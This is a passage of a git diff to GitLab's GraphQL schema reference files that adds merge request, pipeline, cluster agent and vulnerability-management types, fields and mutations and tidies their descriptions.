+ id: ID!
+
+ """
Date and time the membership was last updated
"""
updatedAt: Time
+
+ """
+ User that is associated with the member object
+ """
+ user: User!
+}
+
+"""
+The connection type for MemberInterface.
+"""
+type MemberInterfaceConnection {
+ """
+ A list of edges.
+ """
+ edges: [MemberInterfaceEdge]
+
+ """
+ A list of nodes.
+ """
+ nodes: [MemberInterface]
+
+ """
+ Information to aid in pagination.
+ """
+ pageInfo: PageInfo!
}
-type MergeRequest implements Noteable {
+"""
+An edge in a connection.
+"""
+type MemberInterfaceEdge {
+ """
+ A cursor for use in pagination.
+ """
+ cursor: String!
+
+ """
+ The item at the end of the edge.
+ """
+ node: MemberInterface
+}
+
+type MergeRequest implements CurrentUserTodos & Noteable {
"""
Indicates if members of the target project can push to the fork
"""
allowCollaboration: Boolean
"""
+ Number of approvals left
+ """
+ approvalsLeft: Int
+
+ """
+ Number of approvals required
+ """
+ approvalsRequired: Int
+
+ """
+ Indicates if the merge request has all the required approvals. Returns true if no required approvals are configured.
+ """
+ approved: Boolean!
+
+ """
Users who approved the merge request
"""
approvedBy(
@@ -8408,16 +9478,56 @@ type MergeRequest implements Noteable {
author: User
"""
+ Indicates if auto merge is enabled for the merge request
+ """
+ autoMergeEnabled: Boolean!
+
+ """
Number of commits in the merge request
"""
commitCount: Int
"""
+ Indicates if the merge request has conflicts
+ """
+ conflicts: Boolean!
+
+ """
Timestamp of when the merge request was created
"""
createdAt: Time!
"""
+ Todos for the current user
+ """
+ currentUserTodos(
+ """
+ Returns the elements in the list that come after the specified cursor.
+ """
+ after: String
+
+ """
+ Returns the elements in the list that come before the specified cursor.
+ """
+ before: String
+
+ """
+ Returns the first _n_ elements from the list.
+ """
+ first: Int
+
+ """
+ Returns the last _n_ elements from the list.
+ """
+ last: Int
+
+ """
+ State of the todos
+ """
+ state: TodoStateEnum
+ ): TodoConnection!
+
+ """
Default merge commit message of the merge request
"""
defaultMergeCommitMessage: String
@@ -8675,7 +9785,7 @@ type MergeRequest implements Noteable {
Filter pipelines by their status
"""
status: PipelineStatusEnum
- ): PipelineConnection!
+ ): PipelineConnection
"""
Alias for target_project
@@ -8933,6 +10043,11 @@ type MergeRequestPermissions {
adminMergeRequest: Boolean!
"""
+ Indicates the user can perform `can_merge` on this resource
+ """
+ canMerge: Boolean!
+
+ """
Indicates the user can perform `cherry_pick_on_current_merge_request` on this resource
"""
cherryPickOnCurrentMergeRequest: Boolean!
@@ -9249,6 +10364,71 @@ type MergeRequestSetWipPayload {
}
"""
+Values for sorting merge requests
+"""
+enum MergeRequestSort {
+ """
+ Label priority by ascending order
+ """
+ LABEL_PRIORITY_ASC
+
+ """
+ Label priority by descending order
+ """
+ LABEL_PRIORITY_DESC
+
+ """
+ Merge time by ascending order
+ """
+ MERGED_AT_ASC
+
+ """
+ Merge time by descending order
+ """
+ MERGED_AT_DESC
+
+ """
+ Milestone due date by ascending order
+ """
+ MILESTONE_DUE_ASC
+
+ """
+ Milestone due date by descending order
+ """
+ MILESTONE_DUE_DESC
+
+ """
+ Priority by ascending order
+ """
+ PRIORITY_ASC
+
+ """
+ Priority by descending order
+ """
+ PRIORITY_DESC
+
+ """
+ Created at ascending order
+ """
+ created_asc
+
+ """
+ Created at descending order
+ """
+ created_desc
+
+ """
+ Updated at ascending order
+ """
+ updated_asc
+
+ """
+ Updated at descending order
+ """
+ updated_desc
+}
+
+"""
State of a GitLab merge request
"""
enum MergeRequestState {
@@ -9436,9 +10616,14 @@ type MetricsDashboardAnnotationEdge {
}
"""
-Represents a milestone.
+Represents a milestone
"""
-type Milestone {
+type Milestone implements TimeboxBurnupTimeSeriesInterface {
+ """
+ Daily scope and completed totals for burnup charts
+ """
+ burnupTimeSeries: [BurnupChartDailyTotals!]
+
"""
Timestamp of milestone creation
"""
@@ -9591,6 +10776,9 @@ type Mutation {
awardEmojiToggle(input: AwardEmojiToggleInput!): AwardEmojiTogglePayload
boardListCreate(input: BoardListCreateInput!): BoardListCreatePayload
boardListUpdateLimitMetrics(input: BoardListUpdateLimitMetricsInput!): BoardListUpdateLimitMetricsPayload
+ clusterAgentDelete(input: ClusterAgentDeleteInput!): ClusterAgentDeletePayload
+ clusterAgentTokenCreate(input: ClusterAgentTokenCreateInput!): ClusterAgentTokenCreatePayload
+ clusterAgentTokenDelete(input: ClusterAgentTokenDeleteInput!): ClusterAgentTokenDeletePayload
commitCreate(input: CommitCreateInput!): CommitCreatePayload
configureSast(input: ConfigureSastInput!): ConfigureSastPayload
createAlertIssue(input: CreateAlertIssueInput!): CreateAlertIssuePayload
@@ -9604,8 +10792,11 @@ type Mutation {
createNote(input: CreateNoteInput!): CreateNotePayload
createRequirement(input: CreateRequirementInput!): CreateRequirementPayload
createSnippet(input: CreateSnippetInput!): CreateSnippetPayload
+ createTestCase(input: CreateTestCaseInput!): CreateTestCasePayload
dastOnDemandScanCreate(input: DastOnDemandScanCreateInput!): DastOnDemandScanCreatePayload
dastScannerProfileCreate(input: DastScannerProfileCreateInput!): DastScannerProfileCreatePayload
+ dastScannerProfileDelete(input: DastScannerProfileDeleteInput!): DastScannerProfileDeletePayload
+ dastScannerProfileUpdate(input: DastScannerProfileUpdateInput!): DastScannerProfileUpdatePayload
dastSiteProfileCreate(input: DastSiteProfileCreateInput!): DastSiteProfileCreatePayload
dastSiteProfileDelete(input: DastSiteProfileDeleteInput!): DastSiteProfileDeletePayload
dastSiteProfileUpdate(input: DastSiteProfileUpdateInput!): DastSiteProfileUpdatePayload
@@ -9613,6 +10804,7 @@ type Mutation {
designManagementDelete(input: DesignManagementDeleteInput!): DesignManagementDeletePayload
designManagementMove(input: DesignManagementMoveInput!): DesignManagementMovePayload
designManagementUpload(input: DesignManagementUploadInput!): DesignManagementUploadPayload
+ destroyBoard(input: DestroyBoardInput!): DestroyBoardPayload
destroyNote(input: DestroyNoteInput!): DestroyNotePayload
destroySnippet(input: DestroySnippetInput!): DestroySnippetPayload
@@ -9631,6 +10823,7 @@ type Mutation {
issueSetEpic(input: IssueSetEpicInput!): IssueSetEpicPayload
issueSetIteration(input: IssueSetIterationInput!): IssueSetIterationPayload
issueSetLocked(input: IssueSetLockedInput!): IssueSetLockedPayload
+ issueSetSeverity(input: IssueSetSeverityInput!): IssueSetSeverityPayload
issueSetSubscription(input: IssueSetSubscriptionInput!): IssueSetSubscriptionPayload
issueSetWeight(input: IssueSetWeightInput!): IssueSetWeightPayload
jiraImportStart(input: JiraImportStartInput!): JiraImportStartPayload
@@ -9649,9 +10842,12 @@ type Mutation {
"""
mergeRequestUpdate(input: MergeRequestUpdateInput!): MergeRequestUpdatePayload
namespaceIncreaseStorageTemporarily(input: NamespaceIncreaseStorageTemporarilyInput!): NamespaceIncreaseStorageTemporarilyPayload
+ pipelineCancel(input: PipelineCancelInput!): PipelineCancelPayload
+ pipelineDestroy(input: PipelineDestroyInput!): PipelineDestroyPayload
+ pipelineRetry(input: PipelineRetryInput!): PipelineRetryPayload
removeAwardEmoji(input: RemoveAwardEmojiInput!): RemoveAwardEmojiPayload @deprecated(reason: "Use awardEmojiRemove. Deprecated in 13.2")
removeProjectFromSecurityDashboard(input: RemoveProjectFromSecurityDashboardInput!): RemoveProjectFromSecurityDashboardPayload
- runDastScan(input: RunDASTScanInput!): RunDASTScanPayload
+ runDastScan(input: RunDASTScanInput!): RunDASTScanPayload @deprecated(reason: "Use DastOnDemandScanCreate. Deprecated in 13.4")
todoMarkDone(input: TodoMarkDoneInput!): TodoMarkDonePayload
todoRestore(input: TodoRestoreInput!): TodoRestorePayload
todoRestoreMany(input: TodoRestoreManyInput!): TodoRestoreManyPayload
@@ -9679,10 +10875,11 @@ type Mutation {
updateNote(input: UpdateNoteInput!): UpdateNotePayload
updateRequirement(input: UpdateRequirementInput!): UpdateRequirementPayload
updateSnippet(input: UpdateSnippetInput!): UpdateSnippetPayload
+ vulnerabilityResolve(input: VulnerabilityResolveInput!): VulnerabilityResolvePayload
}
"""
-Different toggles for changing mutator behavior.
+Different toggles for changing mutator behavior
"""
enum MutationOperationMode {
"""
@@ -9780,6 +10977,16 @@ type Namespace {
Returns the last _n_ elements from the list.
"""
last: Int
+
+ """
+ Search project with most similar names or paths
+ """
+ search: String = null
+
+ """
+ Sort projects by this criteria
+ """
+ sort: NamespaceProjectSort = null
): ProjectConnection!
"""
@@ -9878,7 +11085,17 @@ type NamespaceIncreaseStorageTemporarilyPayload {
namespace: Namespace
}
-input NegatedBoardEpicIssueInput {
+"""
+Values for sorting projects
+"""
+enum NamespaceProjectSort {
+ """
+ Most similar to the search query
+ """
+ SIMILARITY
+}
+
+input NegatedBoardIssueInput {
"""
Filter by assignee username
"""
@@ -9890,9 +11107,9 @@ input NegatedBoardEpicIssueInput {
authorUsername: String
"""
- Filter by epic ID
+ Filter by epic ID. Incompatible with epicWildcardId
"""
- epicId: String
+ epicId: ID
"""
Filter by label name
@@ -10283,6 +11500,11 @@ enum PackageTypeEnum {
CONAN
"""
+ Packages from the generic package manager
+ """
+ GENERIC
+
+ """
Packages from the maven package manager
"""
MAVEN
@@ -10335,6 +11557,11 @@ type Pipeline {
beforeSha: String
"""
+ Specifies if a pipeline can be canceled
+ """
+ cancelable: Boolean!
+
+ """
Timestamp of the pipeline's commit
"""
committedAt: Time
@@ -10382,6 +11609,11 @@ type Pipeline {
iid: String!
"""
+ Specifies if a pipeline can be retried
+ """
+ retryable: Boolean!
+
+ """
Vulnerability and scanned resource counts for each security scanner of the pipeline
"""
securityReportSummary: SecurityReportSummary
@@ -10443,6 +11675,36 @@ type Pipeline {
userPermissions: PipelinePermissions!
}
+"""
+Autogenerated input type of PipelineCancel
+"""
+input PipelineCancelInput {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ The id of the pipeline to mutate
+ """
+ id: CiPipelineID!
+}
+
+"""
+Autogenerated return type of PipelineCancel
+"""
+type PipelineCancelPayload {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ Errors encountered during execution of the mutation.
+ """
+ errors: [String!]!
+}
+
enum PipelineConfigSourceEnum {
AUTO_DEVOPS_SOURCE
BRIDGE_SOURCE
@@ -10480,6 +11742,36 @@ type PipelineConnection {
}
"""
+Autogenerated input type of PipelineDestroy
+"""
+input PipelineDestroyInput {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ The id of the pipeline to mutate
+ """
+ id: CiPipelineID!
+}
+
+"""
+Autogenerated return type of PipelineDestroy
+"""
+type PipelineDestroyPayload {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ Errors encountered during execution of the mutation.
+ """
+ errors: [String!]!
+}
+
+"""
An edge in a connection.
"""
type PipelineEdge {
@@ -10511,6 +11803,41 @@ type PipelinePermissions {
updatePipeline: Boolean!
}
+"""
+Autogenerated input type of PipelineRetry
+"""
+input PipelineRetryInput {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ The id of the pipeline to mutate
+ """
+ id: CiPipelineID!
+}
+
+"""
+Autogenerated return type of PipelineRetry
+"""
+type PipelineRetryPayload {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ Errors encountered during execution of the mutation.
+ """
+ errors: [String!]!
+
+ """
+ The pipeline after mutation
+ """
+ pipeline: Pipeline
+}
+
enum PipelineStatusEnum {
CANCELED
CREATED
@@ -10668,6 +11995,41 @@ type Project {
): BoardConnection
"""
+ Find a single cluster agent by name
+ """
+ clusterAgent(
+ """
+ Name of the cluster agent
+ """
+ name: String!
+ ): ClusterAgent
+
+ """
+ Cluster agents associated with the project
+ """
+ clusterAgents(
+ """
+ Returns the elements in the list that come after the specified cursor.
+ """
+ after: String
+
+ """
+ Returns the elements in the list that come before the specified cursor.
+ """
+ before: String
+
+ """
+ Returns the first _n_ elements from the list.
+ """
+ first: Int
+
+ """
+ Returns the last _n_ elements from the list.
+ """
+ last: Int
+ ): ClusterAgentConnection
+
+ """
Compliance frameworks associated with the project
"""
complianceFrameworks(
@@ -10733,6 +12095,16 @@ type Project {
): DastScannerProfileConnection
"""
+ DAST Site Profile associated with the project
+ """
+ dastSiteProfile(
+ """
+ ID of the site profile
+ """
+ id: DastSiteProfileID!
+ ): DastSiteProfile
+
+ """
DAST Site Profiles associated with the project
"""
dastSiteProfiles(
@@ -11309,6 +12681,16 @@ type Project {
after: String
"""
+ Username of the assignee
+ """
+ assigneeUsername: String
+
+ """
+ Username of the author
+ """
+ authorUsername: String
+
+ """
Returns the elements in the list that come before the specified cursor.
"""
before: String
@@ -11344,6 +12726,16 @@ type Project {
mergedBefore: Time
"""
+ Title of the milestone
+ """
+ milestoneTitle: String
+
+ """
+ Sort merge requests by this criteria
+ """
+ sort: MergeRequestSort = created_desc
+
+ """
Array of source branch names. All resolved merge requests will have one of these branches as their source.
"""
sourceBranches: [String!]
@@ -11567,7 +12959,7 @@ type Project {
Search query
"""
search: String
- ): ProjectMemberConnection
+ ): MemberInterfaceConnection
"""
Indicates if there is public access to pipelines and job details of the project, including output logs and artifacts
@@ -11795,7 +13187,7 @@ type Project {
): ServiceConnection
"""
- Indicates if Shared Runners are enabled for the project
+ Indicates if shared runners are enabled for the project
"""
sharedRunnersEnabled: Boolean
@@ -11894,6 +13286,16 @@ type Project {
first: Int
"""
+ Returns only the vulnerabilities which have linked issues
+ """
+ hasIssues: Boolean
+
+ """
+ Returns only the vulnerabilities which have been resolved on default branch
+ """
+ hasResolution: Boolean
+
+ """
Returns the last _n_ elements from the list.
"""
last: Int
@@ -11919,12 +13321,52 @@ type Project {
severity: [VulnerabilitySeverity!]
"""
+ List vulnerabilities by sort order
+ """
+ sort: VulnerabilitySort = severity_desc
+
+ """
Filter vulnerabilities by state
"""
state: [VulnerabilityState!]
): VulnerabilityConnection
"""
+ Number of vulnerabilities per day for the project
+ """
+ vulnerabilitiesCountByDay(
+ """
+ Returns the elements in the list that come after the specified cursor.
+ """
+ after: String
+
+ """
+ Returns the elements in the list that come before the specified cursor.
+ """
+ before: String
+
+ """
+ Last day for which to fetch vulnerability history
+ """
+ endDate: ISO8601Date!
+
+ """
+ Returns the first _n_ elements from the list.
+ """
+ first: Int
+
+ """
+ Returns the last _n_ elements from the list.
+ """
+ last: Int
+
+ """
+ First day for which to fetch vulnerability history
+ """
+ startDate: ISO8601Date!
+ ): VulnerabilitiesCountByDayConnection
+
+ """
Vulnerability scanners reported on the project vulnerabilties
"""
vulnerabilityScanners(
@@ -11950,9 +13392,34 @@ type Project {
): VulnerabilityScannerConnection
"""
- Counts for each severity of vulnerability of the project
+ Counts for each vulnerability severity in the project
"""
- vulnerabilitySeveritiesCount: VulnerabilitySeveritiesCount
+ vulnerabilitySeveritiesCount(
+ """
+ Filter vulnerabilities by project
+ """
+ projectId: [ID!]
+
+ """
+ Filter vulnerabilities by report type
+ """
+ reportType: [VulnerabilityReportType!]
+
+ """
+ Filter vulnerabilities by scanner
+ """
+ scanner: [String!]
+
+ """
+ Filter vulnerabilities by severity
+ """
+ severity: [VulnerabilitySeverity!]
+
+ """
+ Filter vulnerabilities by state
+ """
+ state: [VulnerabilityState!]
+ ): VulnerabilitySeveritiesCount
"""
Web URL of the project
@@ -12001,7 +13468,7 @@ type ProjectEdge {
}
"""
-Represents a Project Member
+Represents a Project Membership
"""
type ProjectMember implements MemberInterface {
"""
@@ -12412,6 +13879,46 @@ type Query {
instanceSecurityDashboard: InstanceSecurityDashboard
"""
+ Get statistics on the instance
+ """
+ instanceStatisticsMeasurements(
+ """
+ Returns the elements in the list that come after the specified cursor.
+ """
+ after: String
+
+ """
+ Returns the elements in the list that come before the specified cursor.
+ """
+ before: String
+
+ """
+ Returns the first _n_ elements from the list.
+ """
+ first: Int
+
+ """
+ The type of measurement/statistics to retrieve
+ """
+ identifier: MeasurementIdentifier!
+
+ """
+ Returns the last _n_ elements from the list.
+ """
+ last: Int
+ ): InstanceStatisticsMeasurementConnection
+
+ """
+ Find an issue
+ """
+ issue(
+ """
+ The global ID of the Issue
+ """
+ id: IssueID!
+ ): Issue
+
+ """
Find an iteration
"""
iteration(
@@ -12476,6 +13983,11 @@ type Query {
first: Int
"""
+ Filter projects by IDs
+ """
+ ids: [ID!]
+
+ """
Returns the last _n_ elements from the list.
"""
last: Int
@@ -12621,6 +14133,16 @@ type Query {
first: Int
"""
+ Returns only the vulnerabilities which have linked issues
+ """
+ hasIssues: Boolean
+
+ """
+ Returns only the vulnerabilities which have been resolved on default branch
+ """
+ hasResolution: Boolean
+
+ """
Returns the last _n_ elements from the list.
"""
last: Int
@@ -12646,6 +14168,11 @@ type Query {
severity: [VulnerabilitySeverity!]
"""
+ List vulnerabilities by sort order
+ """
+ sort: VulnerabilitySort = severity_desc
+
+ """
Filter vulnerabilities by state
"""
state: [VulnerabilityState!]
@@ -12725,7 +14252,7 @@ type Query {
}
"""
-State of a Geo registry.
+State of a Geo registry
"""
enum RegistryState {
"""
@@ -12857,6 +14384,11 @@ type Release {
Relative web path to the tag associated with the release
"""
tagPath: String
+
+ """
+ Indicates the release is an upcoming release
+ """
+ upcomingRelease: Boolean
}
"""
@@ -12864,6 +14396,11 @@ Represents an asset link associated with a release
"""
type ReleaseAssetLink {
"""
+ Direct asset URL of the link
+ """
+ directAssetUrl: String
+
+ """
Indicates the link points to an external resource
"""
external: Boolean
@@ -13014,6 +14551,11 @@ The connection type for Release.
"""
type ReleaseConnection {
"""
+ Total count of collection
+ """
+ count: Int!
+
+ """
A list of edges.
"""
edges: [ReleaseEdge]
@@ -13308,6 +14850,11 @@ type Requirement {
iid: ID!
"""
+ Latest requirement test report state
+ """
+ lastTestReportState: TestReportState
+
+ """
Project to which the requirement belongs
"""
project: Project!
@@ -13437,7 +14984,7 @@ enum RequirementState {
}
"""
-Counts of requirements by their state.
+Counts of requirements by their state
"""
type RequirementStatesCount {
"""
@@ -13645,24 +15192,49 @@ Represents an analyzer entity in SAST CI configuration
"""
type SastCiConfigurationAnalyzersEntity {
"""
- Analyzer description that is displayed on the form.
+ Analyzer description that is displayed on the form
"""
description: String
"""
- Indicates whether an analyzer is enabled.
+ Indicates whether an analyzer is enabled
"""
enabled: Boolean
"""
- Analyzer label used in the config UI.
+ Analyzer label used in the config UI
"""
label: String
"""
- Name of the analyzer.
+ Name of the analyzer
"""
name: String
+
+ """
+ List of supported variables
+ """
+ variables(
+ """
+ Returns the elements in the list that come after the specified cursor.
+ """
+ after: String
+
+ """
+ Returns the elements in the list that come before the specified cursor.
+ """
+ before: String
+
+ """
+ Returns the first _n_ elements from the list.
+ """
+ first: Int
+
+ """
+ Returns the last _n_ elements from the list.
+ """
+ last: Int
+ ): SastCiConfigurationEntityConnection
}
"""
@@ -13801,6 +15373,41 @@ type SastCiConfigurationEntityEdge {
}
"""
+Represents an entity in SAST CI configuration
+"""
+input SastCiConfigurationEntityInput {
+ """
+ Default value that is used if value is empty
+ """
+ defaultValue: String!
+
+ """
+ CI keyword of entity
+ """
+ field: String!
+
+ """
+ Current value of the entity
+ """
+ value: String!
+}
+
+"""
+Represents a CI configuration of SAST
+"""
+input SastCiConfigurationInput {
+ """
+ List of global entities related to SAST configuration
+ """
+ global: [SastCiConfigurationEntityInput!]
+
+ """
+ List of pipeline entities related to SAST configuration
+ """
+ pipeline: [SastCiConfigurationEntityInput!]
+}
+
+"""
Represents an entity for options in SAST CI configuration
"""
type SastCiConfigurationOptionsEntity {
@@ -13990,7 +15597,7 @@ type SecurityReportSummarySection {
}
"""
-The type of the security scanner.
+The type of the security scanner
"""
enum SecurityScannerType {
CONTAINER_SCANNING
@@ -14022,7 +15629,7 @@ type SecurityScanners {
}
"""
-A Sentry error.
+A Sentry error
"""
type SentryDetailedError {
"""
@@ -14167,7 +15774,7 @@ type SentryDetailedError {
}
"""
-A Sentry error. A simplified version of SentryDetailedError.
+A Sentry error. A simplified version of SentryDetailedError
"""
type SentryError {
"""
@@ -14257,7 +15864,7 @@ type SentryError {
}
"""
-An object containing a collection of Sentry errors, and a detailed error.
+An object containing a collection of Sentry errors, and a detailed error
"""
type SentryErrorCollection {
"""
@@ -14310,7 +15917,7 @@ type SentryErrorCollection {
searchTerm: String
"""
- Attribute to sort on. Options are frequency, first_seen, last_seen. last_seen is default.
+ Attribute to sort on. Options are frequency, first_seen, last_seen. last_seen is default
"""
sort: String
): SentryErrorConnection
@@ -14369,7 +15976,7 @@ type SentryErrorFrequency {
}
"""
-An object containing a stack trace entry for a Sentry error.
+An object containing a stack trace entry for a Sentry error
"""
type SentryErrorStackTrace {
"""
@@ -14404,7 +16011,7 @@ type SentryErrorStackTraceContext {
}
"""
-An object containing a stack trace entry for a Sentry error.
+An object containing a stack trace entry for a Sentry error
"""
type SentryErrorStackTraceEntry {
"""
@@ -14533,6 +16140,7 @@ enum ServiceType {
DISCORD_SERVICE
DRONE_CI_SERVICE
EMAILS_ON_PUSH_SERVICE
+ EWM_SERVICE
EXTERNAL_WIKI_SERVICE
FLOWDOCK_SERVICE
GITHUB_SERVICE
@@ -15023,7 +16631,87 @@ type TaskCompletionStatus {
}
"""
-Represents a requirement test report.
+Represents the sync and verification state of a terraform state
+"""
+type TerraformStateRegistry {
+ """
+ Timestamp when the TerraformStateRegistry was created
+ """
+ createdAt: Time
+
+ """
+ ID of the TerraformStateRegistry
+ """
+ id: ID!
+
+ """
+ Error message during sync of the TerraformStateRegistry
+ """
+ lastSyncFailure: String
+
+ """
+ Timestamp of the most recent successful sync of the TerraformStateRegistry
+ """
+ lastSyncedAt: Time
+
+ """
+ Timestamp after which the TerraformStateRegistry should be resynced
+ """
+ retryAt: Time
+
+ """
+ Number of consecutive failed sync attempts of the TerraformStateRegistry
+ """
+ retryCount: Int
+
+ """
+ Sync state of the TerraformStateRegistry
+ """
+ state: RegistryState
+
+ """
+ ID of the TerraformState
+ """
+ terraformStateId: ID!
+}
+
+"""
+The connection type for TerraformStateRegistry.
+"""
+type TerraformStateRegistryConnection {
+ """
+ A list of edges.
+ """
+ edges: [TerraformStateRegistryEdge]
+
+ """
+ A list of nodes.
+ """
+ nodes: [TerraformStateRegistry]
+
+ """
+ Information to aid in pagination.
+ """
+ pageInfo: PageInfo!
+}
+
+"""
+An edge in a connection.
+"""
+type TerraformStateRegistryEdge {
+ """
+ A cursor for use in pagination.
+ """
+ cursor: String!
+
+ """
+ The item at the end of the edge.
+ """
+ node: TerraformStateRegistry
+}
+
+"""
+Represents a requirement test report
"""
type TestReport {
"""
@@ -15095,6 +16783,13 @@ Time represented in ISO 8601
"""
scalar Time
+interface TimeboxBurnupTimeSeriesInterface {
+ """
+ Daily scope and completed totals for burnup charts
+ """
+ burnupTimeSeries: [BurnupChartDailyTotals!]
+}
+
type Timelog {
"""
Timestamp of when the time tracked was spent at. Deprecated in 12.10: Use `spentAt`
@@ -15107,6 +16802,11 @@ type Timelog {
issue: Issue
"""
+ The note where the quick action to add the logged time was executed
+ """
+ note: Note
+
+ """
Timestamp of when the time tracked was spent at
"""
spentAt: Time
@@ -15167,7 +16867,7 @@ type Todo {
action: TodoActionEnum!
"""
- The owner of this todo
+ The author of this todo
"""
author: User!
@@ -15918,7 +17618,7 @@ input UpdateEpicInput {
clientMutationId: String
"""
- Indicates if the epic is confidential. Will be ignored if `confidential_epics` feature flag is disabled
+ Indicates if the epic is confidential
"""
confidential: Boolean
@@ -16068,6 +17768,11 @@ input UpdateIssueInput {
dueDate: Time
"""
+ The ID of the parent epic. NULL when removing the association
+ """
+ epicId: ID
+
+ """
The desired health status
"""
healthStatus: HealthStatus
@@ -16243,6 +17948,11 @@ input UpdateRequirementInput {
iid: String!
"""
+ Creates a test report for the requirement with the given state
+ """
+ lastTestReportState: TestReportState
+
+ """
The project full path the requirement is associated with
"""
projectPath: ID!
@@ -16293,21 +18003,11 @@ input UpdateSnippetInput {
clientMutationId: String
"""
- Content of the snippet
- """
- content: String
-
- """
Description of the snippet
"""
description: String
"""
- File name of the snippet
- """
- fileName: String
-
- """
The global id of the snippet to update
"""
id: ID!
@@ -16391,6 +18091,11 @@ type User {
mergedBefore: Time
"""
+ Title of the milestone
+ """
+ milestoneTitle: String
+
+ """
The global ID of the project the authored merge requests should be in. Incompatible with projectPath.
"""
projectId: ID
@@ -16401,6 +18106,11 @@ type User {
projectPath: String
"""
+ Sort merge requests by this criteria
+ """
+ sort: MergeRequestSort = created_desc
+
+ """
Array of source branch names. All resolved merge requests will have one of these branches as their source.
"""
sourceBranches: [String!]
@@ -16461,6 +18171,11 @@ type User {
mergedBefore: Time
"""
+ Title of the milestone
+ """
+ milestoneTitle: String
+
+ """
The global ID of the project the authored merge requests should be in. Incompatible with projectPath.
"""
projectId: ID
@@ -16471,6 +18186,11 @@ type User {
projectPath: String
"""
+ Sort merge requests by this criteria
+ """
+ sort: MergeRequestSort = created_desc
+
+ """
Array of source branch names. All resolved merge requests will have one of these branches as their source.
"""
sourceBranches: [String!]
@@ -16597,6 +18317,36 @@ type User {
): SnippetConnection
"""
+ Projects starred by the user
+ """
+ starredProjects(
+ """
+ Returns the elements in the list that come after the specified cursor.
+ """
+ after: String
+
+ """
+ Returns the elements in the list that come before the specified cursor.
+ """
+ before: String
+
+ """
+ Returns the first _n_ elements from the list.
+ """
+ first: Int
+
+ """
+ Returns the last _n_ elements from the list.
+ """
+ last: Int
+
+ """
+ Search query
+ """
+ search: String
+ ): ProjectConnection
+
+ """
State of the user
"""
state: UserState!
@@ -16717,6 +18467,11 @@ type UserEdge {
node: User
}
+"""
+Identifier of User
+"""
+scalar UserID
+
type UserPermissions {
"""
Indicates the user can perform `create_snippet` on this resource
@@ -16909,7 +18664,7 @@ type VulnerabilitiesCountByDayEdge {
}
"""
-Represents a vulnerability.
+Represents a vulnerability
"""
type Vulnerability {
"""
@@ -16918,6 +18673,11 @@ type Vulnerability {
description: String
"""
+ Timestamp of when the vulnerability was first detected
+ """
+ detectedAt: Time!
+
+ """
GraphQL ID of the vulnerability
"""
id: ID!
@@ -17067,7 +18827,12 @@ enum VulnerabilityGrade {
}
"""
-Represents a vulnerability identifier.
+Identifier of Vulnerability
+"""
+scalar VulnerabilityID
+
+"""
+Represents a vulnerability identifier
"""
type VulnerabilityIdentifier {
"""
@@ -17092,7 +18857,7 @@ type VulnerabilityIdentifier {
}
"""
-Represents an issue link of a vulnerability.
+Represents an issue link of a vulnerability
"""
type VulnerabilityIssueLink {
"""
@@ -17147,7 +18912,7 @@ type VulnerabilityIssueLinkEdge {
}
"""
-The type of the issue link related to a vulnerability.
+The type of the issue link related to a vulnerability
"""
enum VulnerabilityIssueLinkType {
CREATED
@@ -17355,7 +19120,7 @@ type VulnerabilityPermissions {
}
"""
-The type of the security scan that found the vulnerability.
+The type of the security scan that found the vulnerability
"""
enum VulnerabilityReportType {
CONTAINER_SCANNING
@@ -17367,7 +19132,42 @@ enum VulnerabilityReportType {
}
"""
-Represents a vulnerability scanner.
+Autogenerated input type of VulnerabilityResolve
+"""
+input VulnerabilityResolveInput {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ ID of the vulnerability to be resolveed
+ """
+ id: VulnerabilityID!
+}
+
+"""
+Autogenerated return type of VulnerabilityResolve
+"""
+type VulnerabilityResolvePayload {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ Errors encountered during execution of the mutation.
+ """
+ errors: [String!]!
+
+ """
+ The vulnerability after state change
+ """
+ vulnerability: Vulnerability
+}
+
+"""
+Represents a vulnerability scanner
"""
type VulnerabilityScanner {
"""
@@ -17462,7 +19262,7 @@ type VulnerabilitySeveritiesCount {
}
"""
-The severity of the vulnerability.
+The severity of the vulnerability
"""
enum VulnerabilitySeverity {
CRITICAL
@@ -17474,7 +19274,22 @@ enum VulnerabilitySeverity {
}
"""
-The state of the vulnerability.
+Vulnerability sort values
+"""
+enum VulnerabilitySort {
+ """
+ Severity in ascending order
+ """
+ severity_asc
+
+ """
+ Severity in descending order
+ """
+ severity_desc
+}
+
+"""
+The state of the vulnerability
"""
enum VulnerabilityState {
CONFIRMED
diff --git a/doc/api/graphql/reference/gitlab_schema.json b/doc/api/graphql/reference/gitlab_schema.json
index 7ee37fb4d43..6458a676612 100644
--- a/doc/api/graphql/reference/gitlab_schema.json
+++ b/doc/api/graphql/reference/gitlab_schema.json
@@ -1837,7 +1837,7 @@
{
"kind": "OBJECT",
"name": "AwardEmoji",
- "description": "An emoji awarded by a user.",
+ "description": "An emoji awarded by a user",
"fields": [
{
"name": "description",
@@ -2716,7 +2716,7 @@
"description": "Filters applied when selecting issues on the board",
"type": {
"kind": "INPUT_OBJECT",
- "name": "BoardEpicIssueInput",
+ "name": "BoardIssueInput",
"ofType": null
},
"defaultValue": null
@@ -3042,8 +3042,18 @@
"possibleTypes": null
},
{
+ "kind": "SCALAR",
+ "name": "BoardID",
+ "description": "Identifier of Board",
+ "fields": null,
+ "inputFields": null,
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
"kind": "INPUT_OBJECT",
- "name": "BoardEpicIssueInput",
+ "name": "BoardIssueInput",
"description": null,
"fields": null,
"inputFields": [
@@ -3106,8 +3116,8 @@
"defaultValue": null
},
{
- "name": "epicId",
- "description": "Filter by epic ID",
+ "name": "myReactionEmoji",
+ "description": "Filter by reaction emoji",
"type": {
"kind": "SCALAR",
"name": "String",
@@ -3116,11 +3126,11 @@
"defaultValue": null
},
{
- "name": "myReactionEmoji",
- "description": "Filter by reaction emoji",
+ "name": "epicId",
+ "description": "Filter by epic ID. Incompatible with epicWildcardId",
"type": {
"kind": "SCALAR",
- "name": "String",
+ "name": "ID",
"ofType": null
},
"defaultValue": null
